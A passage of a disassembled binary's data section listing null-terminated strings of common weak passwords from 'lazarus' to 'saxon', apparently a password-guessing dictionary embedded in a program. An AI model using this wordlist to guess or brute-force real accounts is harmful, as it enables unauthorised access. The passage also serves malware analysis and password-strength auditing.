aLazarus	db 'lazarus',0          ; DATA XREF: .nsp0:0043B054o
aLazer		db 'lazer',0            ; DATA XREF: .nsp0:0043B058o
		align 10h
aLeah		db 'leah',0             ; DATA XREF: .nsp0:0043B05Co
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: .nsp0:0043B060o
		align 4
aLeft		db 'left',0             ; DATA XREF: .nsp0:0043B064o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .nsp0:0043B068o
		align 4
aLegal		db 'legal',0            ; DATA XREF: .nsp0:0043B06Co
		align 10h
aLeland		db 'leland',0           ; DATA XREF: .nsp0:0043B070o
		align 4
aLeroy		db 'leroy',0            ; DATA XREF: .nsp0:0043B074o
		align 10h
aLesbian	db 'lesbian',0          ; DATA XREF: .nsp0:0043B078o
aLeslie		db 'leslie',0           ; DATA XREF: .nsp0:0043B07Co
		align 10h
aLetmein	db 'letmein',0          ; DATA XREF: .nsp0:0043B080o
aLewis		db 'lewis',0            ; DATA XREF: .nsp0:0043B084o
		align 10h
aLexluthe	db 'lexluthe',0         ; DATA XREF: .nsp0:0043B088o
		align 4
aLiberal	db 'liberal',0          ; DATA XREF: .nsp0:0043B08Co
aLibrary	db 'library',0          ; DATA XREF: .nsp0:0043B090o
aLick		db 'lick',0             ; DATA XREF: .nsp0:0043B094o
		align 4
aLicker		db 'licker',0           ; DATA XREF: .nsp0:0043B098o
		align 4
aLife		db 'life',0             ; DATA XREF: .nsp0:0043B09Co
		align 4
aLight		db 'light',0            ; DATA XREF: .nsp0:0043B0A0o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .nsp0:0043B0A4o
		align 4
aLima		db 'lima',0             ; DATA XREF: .nsp0:0043B0A8o
		align 10h
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .nsp0:0043B0ACo
		align 4
aLimited	db 'limited',0          ; DATA XREF: .nsp0:0043B0B0o
aLinda		db 'linda',0            ; DATA XREF: .nsp0:0043B0B4o
		align 4
aLink		db 'link',0             ; DATA XREF: .nsp0:0043B0B8o
		align 4
aLion		db 'lion',0             ; DATA XREF: .nsp0:0043B0BCo
		align 4
aLips		db 'lips',0             ; DATA XREF: .nsp0:0043B0C0o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: .nsp0:0043B0C4o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: .nsp0:0043B0C8o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .nsp0:0043B0CCo
		align 10h
aLive		db 'live',0             ; DATA XREF: .nsp0:0043B0D0o
		align 4
aLoad_0		db 'load',0             ; DATA XREF: .nsp0:0043B0D4o
		align 10h
aLock		db 'lock',0             ; DATA XREF: .nsp0:0043B0D8o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .nsp0:0043B0DCo
aLockword	db 'lockword',0         ; DATA XREF: .nsp0:0043B0E0o
		align 4
aLogic		db 'logic',0            ; DATA XREF: .nsp0:0043B0E4o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .nsp0:0043B0E8o
		align 10h
aLogout_0	db 'logout',0           ; DATA XREF: .nsp0:0043B0ECo
		align 4
aLois		db 'lois',0             ; DATA XREF: .nsp0:0043B0F0o
		align 10h
aLolopc		db 'lolopc',0           ; DATA XREF: .nsp0:0043B0F4o
		align 4
aLoose		db 'loose',0            ; DATA XREF: .nsp0:0043B0F8o
		align 10h
aLore		db 'lore',0             ; DATA XREF: .nsp0:0043B0FCo
		align 4
aLori		db 'lori',0             ; DATA XREF: .nsp0:0043B100o
		align 10h
aLorin		db 'lorin',0            ; DATA XREF: .nsp0:0043B104o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: .nsp0:0043B108o
		align 4
aLoser		db 'loser',0            ; DATA XREF: .nsp0:0043B10Co
		align 4
aLouis		db 'louis',0            ; DATA XREF: .nsp0:0043B110o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: .nsp0:0043B114o
aLover		db 'lover',0            ; DATA XREF: .nsp0:0043B118o
		align 4
aLuck		db 'luck',0             ; DATA XREF: .nsp0:0043B11Co
		align 4
aLucus		db 'lucus',0            ; DATA XREF: .nsp0:0043B120o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: .nsp0:0043B124o
		align 4
aLude		db 'lude',0             ; DATA XREF: .nsp0:0043B128o
		align 4
aLuke		db 'luke',0             ; DATA XREF: .nsp0:0043B12Co
		align 4
aLust		db 'lust',0             ; DATA XREF: .nsp0:0043B130o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: .nsp0:0043B134o
		align 4
aLynne		db 'lynne',0            ; DATA XREF: .nsp0:0043B138o
		align 4
aMachine	db 'machine',0          ; DATA XREF: .nsp0:0043B13Co
aMacintos	db 'macintos',0         ; DATA XREF: .nsp0:0043B140o
		align 4
aMack		db 'mack',0             ; DATA XREF: .nsp0:0043B144o
		align 10h
aMacro		db 'macro',0            ; DATA XREF: .nsp0:0043B148o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .nsp0:0043B14Co
		align 10h
aMagic		db 'magic',0            ; DATA XREF: .nsp0:0043B150o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .nsp0:0043B154o
		align 10h
aMail		db 'mail',0             ; DATA XREF: .nsp0:0043B158o
		align 4
aMaint		db 'maint',0            ; DATA XREF: .nsp0:0043B15Co
		align 10h
aMalcolm	db 'malcolm',0          ; DATA XREF: .nsp0:0043B160o
aMalcom		db 'malcom',0           ; DATA XREF: .nsp0:0043B164o
		align 10h
aMana		db 'mana',0             ; DATA XREF: .nsp0:0043B168o
		align 4
aManager	db 'manager',0          ; DATA XREF: .nsp0:0043B16Co
aMara		db 'mara',0             ; DATA XREF: .nsp0:0043B170o
		align 4
aMarci		db 'marci',0            ; DATA XREF: .nsp0:0043B174o
		align 10h
aMarcy		db 'marcy',0            ; DATA XREF: .nsp0:0043B178o
		align 4
aMaria		db 'maria',0            ; DATA XREF: .nsp0:0043B17Co
		align 10h
aMariens	db 'mariens',0          ; DATA XREF: .nsp0:0043B180o
aMarietta	db 'marietta',0         ; DATA XREF: .nsp0:0043B184o
		align 4
aMarijuan	db 'marijuan',0         ; DATA XREF: .nsp0:0043B188o
		align 10h
aMarines	db 'marines',0          ; DATA XREF: .nsp0:0043B18Co
aMark		db 'mark',0             ; DATA XREF: .nsp0:0043B190o
		align 10h
aMarkus		db 'markus',0           ; DATA XREF: .nsp0:0043B194o
		align 4
aMarni		db 'marni',0            ; DATA XREF: .nsp0:0043B198o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: .nsp0:0043B19Co
		align 4
aMars		db 'mars',0             ; DATA XREF: .nsp0:0043B1A0o
		align 4
aMarty		db 'marty',0            ; DATA XREF: .nsp0:0043B1A4o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: .nsp0:0043B1A8o
		align 4
aMary		db 'mary',0             ; DATA XREF: .nsp0:0043B1ACo
		align 4
aMason		db 'mason',0            ; DATA XREF: .nsp0:0043B1B0o
		align 4
aMaster		db 'master',0           ; DATA XREF: .nsp0:0043B1B4o
		align 4
aMath		db 'math',0             ; DATA XREF: .nsp0:0043B1B8o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: .nsp0:0043B1BCo
aMeagan		db 'meagan',0           ; DATA XREF: .nsp0:0043B1C0o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .nsp0:0043B1C4o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: .nsp0:0043B1C8o
		align 4
aMegan		db 'megan',0            ; DATA XREF: .nsp0:0043B1CCo
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: .nsp0:0043B1D0o
aMellon		db 'mellon',0           ; DATA XREF: .nsp0:0043B1D4o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: .nsp0:0043B1D8o
aMember		db 'member',0           ; DATA XREF: .nsp0:0043B1DCo
		align 4
aMemory		db 'memory',0           ; DATA XREF: .nsp0:0043B1E0o
		align 4
aMenace		db 'menace',0           ; DATA XREF: .nsp0:0043B1E4o
		align 4
aMenu		db 'menu',0             ; DATA XREF: .nsp0:0043B1E8o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: .nsp0:0043B1ECo
aMerlin		db 'merlin',0           ; DATA XREF: .nsp0:0043B1F0o
		align 4
aMetal		db 'metal',0            ; DATA XREF: .nsp0:0043B1F4o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .nsp0:0043B1F8o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: .nsp0:0043B1FCo
		align 4
aMets		db 'mets',0             ; DATA XREF: .nsp0:0043B200o
		align 4
aMice		db 'mice',0             ; DATA XREF: .nsp0:0043B204o
		align 4
aMichael	db 'michael',0          ; DATA XREF: .nsp0:0043B208o
aMichel		db 'michel',0           ; DATA XREF: .nsp0:0043B20Co
		align 4
aMichelan	db 'michelan',0         ; DATA XREF: .nsp0:0043B210o
		align 4
aMichele	db 'michele',0          ; DATA XREF: .nsp0:0043B214o
aMichelle	db 'michelle',0         ; DATA XREF: .nsp0:0043B218o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: .nsp0:0043B21Co
		align 4
aMicro		db 'micro',0            ; DATA XREF: .nsp0:0043B220o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .nsp0:0043B224o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: .nsp0:0043B228o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .nsp0:0043B22Co
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: .nsp0:0043B230o
		align 4
aMike		db 'mike',0             ; DATA XREF: .nsp0:0043B234o
		align 4
aMine		db 'mine',0             ; DATA XREF: .nsp0:0043B238o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: .nsp0:0043B23Co
aMinsky		db 'minsky',0           ; DATA XREF: .nsp0:0043B240o
		align 4
aMisfit		db 'misfit',0           ; DATA XREF: .nsp0:0043B244o
		align 4
aMission	db 'mission',0          ; DATA XREF: .nsp0:0043B248o
aMkii		db 'mkii',0             ; DATA XREF: .nsp0:0043B24Co
		align 4
aMode_1		db 'mode',0             ; DATA XREF: .nsp0:0043B250o
		align 4
aModem		db 'modem',0            ; DATA XREF: .nsp0:0043B254o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: .nsp0:0043B258o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: .nsp0:0043B25Co
		align 4
aMonday_0	db 'monday',0           ; DATA XREF: .nsp0:0043B260o
		align 4
aMonica		db 'monica',0           ; DATA XREF: .nsp0:0043B264o
		align 4
aMoom		db 'moom',0             ; DATA XREF: .nsp0:0043B268o
		align 4
aMoor		db 'moor',0             ; DATA XREF: .nsp0:0043B26Co
		align 4
aMoose		db 'moose',0            ; DATA XREF: .nsp0:0043B270o
		align 4
aMore		db 'more',0             ; DATA XREF: .nsp0:0043B274o
		align 4
aMorley		db 'morley',0
		align 4
aMorris		db 'morris',0
		align 4
aMortal		db 'mortal',0
		align 4
aMortalco	db 'mortalco',0
		align 4
aMortgage	db 'mortgage',0
		align 4
aMosaic		db 'mosaic',0
		align 4
aMountain	db 'mountain',0
		align 4
aMouse		db 'mouse',0
		align 10h
aMove		db 'move',0
		align 4
aMovie		db 'movie',0
		align 10h
aMovies		db 'movies',0
		align 4
aMozart		db 'mozart',0
		align 10h
aMpeg		db 'mpeg',0
		align 4
aMsdos		db 'msdos',0
		align 10h
aMuppets	db 'muppets',0
aMutant		db 'mutant',0
		align 10h
aNagel		db 'nagel',0            ; DATA XREF: .nsp0:0043B2B8o
		align 4
aName		db 'name',0
		align 10h
aNancy		db 'nancy',0            ; DATA XREF: .nsp0:0043B2C0o
		align 4
aNapoleon	db 'napoleon',0
		align 4
aNasa		db 'nasa',0
		align 4
aNavy		db 'navy',0
		align 4
aNepenthe	db 'nepenthe',0
		align 10h
aNeptune	db 'neptune',0          ; DATA XREF: .nsp0:0043B2D4o
aNess		db 'ness',0             ; DATA XREF: .nsp0:0043B2D8o
		align 10h
aNetscape	db 'netscape',0         ; DATA XREF: .nsp0:0043B2DCo
		align 4
aNetwork_0	db 'network',0          ; DATA XREF: .nsp0:0043B2E0o
aNewborn	db 'newborn',0          ; DATA XREF: .nsp0:0043B2E4o
aNews		db 'news',0             ; DATA XREF: .nsp0:0043B2E8o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .nsp0:0043B2ECo
		align 10h
aNewton		db 'newton',0           ; DATA XREF: .nsp0:0043B2F0o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .nsp0:0043B2F4o
aNext		db 'next',0
		align 4
aNice		db 'nice',0
		align 10h
aNicole		db 'nicole',0
		align 4
aNicotine	db 'nicotine',0
		align 4
aNight		db 'night',0
		align 4
aNightmar	db 'nightmar',0
		align 4
aNintendo	db 'nintendo',0
		align 4
aNita		db 'nita',0
		align 4
aNnaacp		db 'nnaacp',0
		align 4
aNoble		db 'noble',0
		align 4
aNobody		db 'nobody',0
		align 4
aNode		db 'node',0
		align 4
aNoreen		db 'noreen',0
		align 4
aNotes		db 'notes',0
		align 4
aNoth		db 'noth',0
		align 4
aNova		db 'nova',0
		align 4
aNovel		db 'novel',0
		align 4
aNovember_0	db 'november',0
		align 10h
aNoxious	db 'noxious',0
aNuclear	db 'nuclear',0
aNude		db 'nude',0
		align 4
aNuke		db 'nuke',0
		align 10h
aNukem		db 'nukem',0
		align 4
aNull_1		db 'null',0
		align 10h
aNumber		db 'number',0
		align 4
aNutritio	db 'nutritio',0
		align 4
aNuts		db 'nuts',0
		align 4
aNyquist	db 'nyquist',0
aObscurit	db 'obscurit',0
		align 10h
aOceanogr	db 'oceanogr',0
		align 4
aOcelot		db 'ocelot',0
		align 4
aOffice		db 'office',0
		align 4
aOkay		db 'okay',0
		align 4
aOldage		db 'oldage',0
		align 4
aOlivetti	db 'olivetti',0
		align 4
aOlivia		db 'olivia',0
		align 10h
aOmega		db 'omega',0
		align 4
aOpen_3		db 'open',0
		align 10h
aOpening	db 'opening',0
aOpenlock	db 'openlock',0
		align 4
aOpensesa	db 'opensesa',0
		align 10h
aOperator	db 'operator',0
		align 4
aOrca		db 'orca',0
		align 4
aOrient		db 'orient',0
		align 4
aOrwell		db 'orwell',0
		align 4
aOscar		db 'oscar',0
		align 4
aOsiris		db 'osiris',0
		align 4
aOutdoors	db 'outdoors',0
		align 10h
aOutlaw		db 'outlaw',0
		align 4
aOutput		db 'output',0
		align 10h
aOutside	db 'outside',0
aOxford		db 'oxford',0
		align 10h
aPacific	db 'pacific',0
aPackard	db 'packard',0
aPacker		db 'packer',0           ; DATA XREF: .nsp0:0043B3D0o
		align 4
aPainless	db 'painless',0         ; DATA XREF: .nsp0:0043B3D4o
		align 4
aPaint		db 'paint',0            ; DATA XREF: .nsp0:0043B3D8o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .nsp0:0043B3DCo
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .nsp0:0043B3E0o
		align 10h
aPapa		db 'papa',0             ; DATA XREF: .nsp0:0043B3E4o
		align 4
aPaper		db 'paper',0            ; DATA XREF: .nsp0:0043B3E8o
		align 10h
aPapers		db 'papers',0           ; DATA XREF: .nsp0:0043B3ECo
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .nsp0:0043B3F0o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: .nsp0:0043B3F4o
		align 4
aPaste		db 'paste',0            ; DATA XREF: .nsp0:0043B3F8o
		align 4
aPatricia	db 'patricia',0         ; DATA XREF: .nsp0:0043B3FCo
		align 10h
aPatriot	db 'patriot',0          ; DATA XREF: .nsp0:0043B400o
aPatty		db 'patty',0            ; DATA XREF: .nsp0:0043B404o
		align 10h
aPaula		db 'paula',0            ; DATA XREF: .nsp0:0043B408o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .nsp0:0043B40Co
aPecker		db 'pecker',0           ; DATA XREF: .nsp0:0043B410o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .nsp0:0043B414o
		align 10h
aPenelope	db 'penelope',0         ; DATA XREF: .nsp0:0043B418o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: .nsp0:0043B41Co
aPenis		db 'penis',0            ; DATA XREF: .nsp0:0043B420o
		align 4
aPenname	db 'penname',0          ; DATA XREF: .nsp0:0043B424o
aPentagon	db 'pentagon',0         ; DATA XREF: .nsp0:0043B428o
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: .nsp0:0043B42Co
		align 4
aPenthous	db 'penthous',0         ; DATA XREF: .nsp0:0043B430o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .nsp0:0043B434o
aPeoria		db 'peoria',0           ; DATA XREF: .nsp0:0043B438o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .nsp0:0043B43Co
		align 10h
aPercolat	db 'percolat',0         ; DATA XREF: .nsp0:0043B440o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: .nsp0:0043B444o
aPermit		db 'permit',0           ; DATA XREF: .nsp0:0043B448o
		align 4
aPersimmo	db 'persimmo',0         ; DATA XREF: .nsp0:0043B44Co
		align 4
aPersona	db 'persona',0          ; DATA XREF: .nsp0:0043B450o
aPervert	db 'pervert',0          ; DATA XREF: .nsp0:0043B454o
aPete		db 'pete',0             ; DATA XREF: .nsp0:0043B458o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .nsp0:0043B45Co
		align 4
aPhil		db 'phil',0             ; DATA XREF: .nsp0:0043B460o
		align 10h
aPhilip		db 'philip',0           ; DATA XREF: .nsp0:0043B464o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .nsp0:0043B468o
aPhone		db 'phone',0            ; DATA XREF: .nsp0:0043B46Co
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .nsp0:0043B470o
		align 10h
aPhrack		db 'phrack',0           ; DATA XREF: .nsp0:0043B474o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .nsp0:0043B478o
		align 10h
aPhreak		db 'phreak',0           ; DATA XREF: .nsp0:0043B47Co
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .nsp0:0043B480o
		align 10h
aPick		db 'pick',0             ; DATA XREF: .nsp0:0043B484o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .nsp0:0043B488o
		align 10h
aPimp		db 'pimp',0             ; DATA XREF: .nsp0:0043B48Co
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .nsp0:0043B490o
aPiss		db 'piss',0             ; DATA XREF: .nsp0:0043B494o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .nsp0:0043B498o
		align 10h
aPlane		db 'plane',0            ; DATA XREF: .nsp0:0043B49Co
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .nsp0:0043B4A0o
aPlover		db 'plover',0           ; DATA XREF: .nsp0:0043B4A4o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .nsp0:0043B4A8o
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: .nsp0:0043B4ACo
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: .nsp0:0043B4B0o
		align 4
aPolice		db 'police',0           ; DATA XREF: .nsp0:0043B4B4o
		align 4
aPolly		db 'polly',0            ; DATA XREF: .nsp0:0043B4B8o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .nsp0:0043B4BCo
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: .nsp0:0043B4C0o
		align 4
aPoop		db 'poop',0             ; DATA XREF: .nsp0:0043B4C4o
		align 4
aPoor		db 'poor',0             ; DATA XREF: .nsp0:0043B4C8o
		align 4
aPork		db 'pork',0             ; DATA XREF: .nsp0:0043B4CCo
		align 4
aPorn		db 'porn',0             ; DATA XREF: .nsp0:0043B4D0o
		align 4
aPorno		db 'porno',0            ; DATA XREF: .nsp0:0043B4D4o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: .nsp0:0043B4D8o
aPost		db 'post',0             ; DATA XREF: .nsp0:0043B4DCo
		align 4
aPoster		db 'poster',0           ; DATA XREF: .nsp0:0043B4E0o
		align 4
aPower		db 'power',0            ; DATA XREF: .nsp0:0043B4E4o
		align 4
aPraise		db 'praise',0           ; DATA XREF: .nsp0:0043B4E8o
		align 4
aPrecious	db 'precious',0         ; DATA XREF: .nsp0:0043B4ECo
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .nsp0:0043B4F0o
aPresto		db 'presto',0           ; DATA XREF: .nsp0:0043B4F4o
		align 4
aPrince		db 'prince',0           ; DATA XREF: .nsp0:0043B4F8o
		align 10h
aPrinceto	db 'princeto',0         ; DATA XREF: .nsp0:0043B4FCo
		align 4
aPrinter	db 'printer',0          ; DATA XREF: .nsp0:0043B500o
aPriv		db 'priv',0             ; DATA XREF: .nsp0:0043B504o
		align 4
aPrivate	db 'private',0          ; DATA XREF: .nsp0:0043B508o
aPrivs		db 'privs',0            ; DATA XREF: .nsp0:0043B50Co
		align 4
aProceed	db 'proceed',0          ; DATA XREF: .nsp0:0043B510o
aProcesso	db 'processo',0         ; DATA XREF: .nsp0:0043B514o
		align 10h
aProfesso	db 'professo',0         ; DATA XREF: .nsp0:0043B518o
		align 4
aProfile	db 'profile',0          ; DATA XREF: .nsp0:0043B51Co
aProgram	db 'program',0          ; DATA XREF: .nsp0:0043B520o
aPrompt		db 'prompt',0           ; DATA XREF: .nsp0:0043B524o
		align 4
aProtect	db 'protect',0          ; DATA XREF: .nsp0:0043B528o
aProtozoa	db 'protozoa',0         ; DATA XREF: .nsp0:0043B52Co
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .nsp0:0043B530o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: .nsp0:0043B534o
		align 4
aPublic		db 'public',0           ; DATA XREF: .nsp0:0043B538o
		align 4
aPuck		db 'puck',0             ; DATA XREF: .nsp0:0043B53Co
		align 4
aPuke		db 'puke',0             ; DATA XREF: .nsp0:0043B540o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: .nsp0:0043B544o
aPuneet		db 'puneet',0           ; DATA XREF: .nsp0:0043B548o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .nsp0:0043B54Co
		align 10h
aPunk		db 'punk',0             ; DATA XREF: .nsp0:0043B550o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .nsp0:0043B554o
		align 10h
aPussy		db 'pussy',0            ; DATA XREF: .nsp0:0043B558o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .nsp0:0043B55Co
		align 10h
aQwert		db 'qwert',0            ; DATA XREF: .nsp0:0043B560o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .nsp0:0043B564o
		align 10h
aRabbit		db 'rabbit',0           ; DATA XREF: .nsp0:0043B568o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .nsp0:0043B56Co
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: .nsp0:0043B570o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .nsp0:0043B574o
		align 4
aRaid		db 'raid',0             ; DATA XREF: .nsp0:0043B578o
		align 10h
aRain		db 'rain',0             ; DATA XREF: .nsp0:0043B57Co
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .nsp0:0043B580o
aRaindrop	db 'raindrop',0         ; DATA XREF: .nsp0:0043B584o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: .nsp0:0043B588o
aRandom_3	db 'random',0           ; DATA XREF: .nsp0:0043B58Co
		align 4
aRape		db 'rape',0             ; DATA XREF: .nsp0:0043B590o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: .nsp0:0043B594o
		align 4
aRazor		db 'razor',0            ; DATA XREF: .nsp0:0043B598o
		align 4
aReagan		db 'reagan',0           ; DATA XREF: .nsp0:0043B59Co
		align 4
aReality	db 'reality',0          ; DATA XREF: .nsp0:0043B5A0o
aReally		db 'really',0           ; DATA XREF: .nsp0:0043B5A4o
		align 4
aReam		db 'ream',0             ; DATA XREF: .nsp0:0043B5A8o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: .nsp0:0043B5ACo
		align 4
aRebal		db 'rebal',0            ; DATA XREF: .nsp0:0043B5B0o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: .nsp0:0043B5B4o
aRebel		db 'rebel',0            ; DATA XREF: .nsp0:0043B5B8o
		align 4
aRecord		db 'record',0           ; DATA XREF: .nsp0:0043B5BCo
		align 4
aReddawn	db 'reddawn',0          ; DATA XREF: .nsp0:0043B5C0o
aRedhead	db 'redhead',0          ; DATA XREF: .nsp0:0043B5C4o
aReferenc	db 'referenc',0         ; DATA XREF: .nsp0:0043B5C8o
		align 4
aRegional	db 'regional',0         ; DATA XREF: .nsp0:0043B5CCo
		align 4
aRelease	db 'release',0          ; DATA XREF: .nsp0:0043B5D0o
aRemote		db 'remote',0           ; DATA XREF: .nsp0:0043B5D4o
		align 4
aRenee		db 'renee',0            ; DATA XREF: .nsp0:0043B5D8o
		align 4
aReno		db 'reno',0             ; DATA XREF: .nsp0:0043B5DCo
		align 4
aRent		db 'rent',0             ; DATA XREF: .nsp0:0043B5E0o
		align 4
aReport		db 'report',0           ; DATA XREF: .nsp0:0043B5E4o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .nsp0:0043B5E8o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: .nsp0:0043B5ECo
		align 4
aReveal		db 'reveal',0           ; DATA XREF: .nsp0:0043B5F0o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: .nsp0:0043B5F4o
		align 4
aRich		db 'rich',0             ; DATA XREF: .nsp0:0043B5F8o
		align 4
aRick		db 'rick',0             ; DATA XREF: .nsp0:0043B5FCo
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .nsp0:0043B600o
		align 4
aRight		db 'right',0            ; DATA XREF: .nsp0:0043B604o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: .nsp0:0043B608o
		align 4
aRing		db 'ring',0             ; DATA XREF: .nsp0:0043B60Co
		align 4
aRiot		db 'riot',0             ; DATA XREF: .nsp0:0043B610o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: .nsp0:0043B614o
		align 4
aRisc		db 'risc',0             ; DATA XREF: .nsp0:0043B618o
		align 4
aRoach		db 'roach',0            ; DATA XREF: .nsp0:0043B61Co
		align 4
aRobert		db 'robert',0           ; DATA XREF: .nsp0:0043B620o
		align 4
aRobin		db 'robin',0            ; DATA XREF: .nsp0:0043B624o
		align 4
aRobot		db 'robot',0            ; DATA XREF: .nsp0:0043B628o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .nsp0:0043B62Co
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .nsp0:0043B630o
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: .nsp0:0043B634o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .nsp0:0043B638o
		align 4
aRock		db 'rock',0             ; DATA XREF: .nsp0:0043B63Co
		align 10h
aRocky		db 'rocky',0            ; DATA XREF: .nsp0:0043B640o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: .nsp0:0043B644o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: .nsp0:0043B648o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: .nsp0:0043B64Co
		align 4
aRomano		db 'romano',0           ; DATA XREF: .nsp0:0043B650o
		align 4
aRomeo		db 'romeo',0            ; DATA XREF: .nsp0:0043B654o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: .nsp0:0043B658o
aRonald		db 'ronald',0           ; DATA XREF: .nsp0:0043B65Co
		align 4
aRose		db 'rose',0             ; DATA XREF: .nsp0:0043B660o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: .nsp0:0043B664o
aRosemary	db 'rosemary',0         ; DATA XREF: .nsp0:0043B668o
		align 10h
aRoses		db 'roses',0            ; DATA XREF: .nsp0:0043B66Co
		align 4
aRough		db 'rough',0            ; DATA XREF: .nsp0:0043B670o
		align 10h
aRubber		db 'rubber',0           ; DATA XREF: .nsp0:0043B674o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .nsp0:0043B678o
		align 10h
aRuby		db 'ruby',0             ; DATA XREF: .nsp0:0043B67Co
		align 4
aRude		db 'rude',0             ; DATA XREF: .nsp0:0043B680o
		align 10h
aRules		db 'rules',0            ; DATA XREF: .nsp0:0043B684o
		align 4
aRunning	db 'running',0          ; DATA XREF: .nsp0:0043B688o
aRush		db 'rush',0             ; DATA XREF: .nsp0:0043B68Co
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .nsp0:0043B690o
		align 10h
aSafe		db 'safe',0             ; DATA XREF: .nsp0:0043B694o
		align 4
aSalami		db 'salami',0           ; DATA XREF: .nsp0:0043B698o
		align 10h
aSale		db 'sale',0             ; DATA XREF: .nsp0:0043B69Co
		align 4
aSalt		db 'salt',0             ; DATA XREF: .nsp0:0043B6A0o
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: .nsp0:0043B6A4o
		align 4
aSample		db 'sample',0           ; DATA XREF: .nsp0:0043B6A8o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: .nsp0:0043B6ACo
		align 4
aSandy		db 'sandy',0            ; DATA XREF: .nsp0:0043B6B0o
		align 4
aSara		db 'sara',0             ; DATA XREF: .nsp0:0043B6B4o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: .nsp0:0043B6B8o
		align 4
aSaturday_0	db 'saturday',0         ; DATA XREF: .nsp0:0043B6BCo
		align 10h
aSaturn		db 'saturn',0           ; DATA XREF: .nsp0:0043B6C0o
		align 4
aSaxon		db 'saxon',0            ; DATA XREF: .nsp0:0043B6C4o
		align 10h
